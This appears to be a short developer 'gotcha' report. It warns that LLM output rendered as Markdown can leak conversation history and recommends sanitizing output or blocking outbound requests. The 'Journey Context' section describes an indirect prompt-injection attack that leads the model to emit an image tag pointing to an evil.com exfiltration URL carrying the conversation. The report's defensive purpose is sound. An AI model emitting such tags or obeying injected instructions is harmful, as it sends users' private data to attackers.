Report #24014
[gotcha] LLM outputs rendered as Markdown leak conversation history via image tags
Sanitize LLM outputs to strip or neutralize markdown image syntax \!\[alt\]\(url\) and HTML tags before rendering in a frontend, or block outbound network requests from the rendering environment.
Journey Context:
Developers often pass LLM outputs directly to markdown renderers. An attacker uses indirect prompt injection to force the LLM to output an image tag pointing to https://evil.com/exfil?data=\[conversation\_history\]. The browser/rendering engine fetches the URL, sending the sensitive data in the query string to the attacker. Sanitizing inputs doesn't help because the payload is in the retrieved data; the output must be sandboxed.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T18:43:13.295473+00:00— report_created — created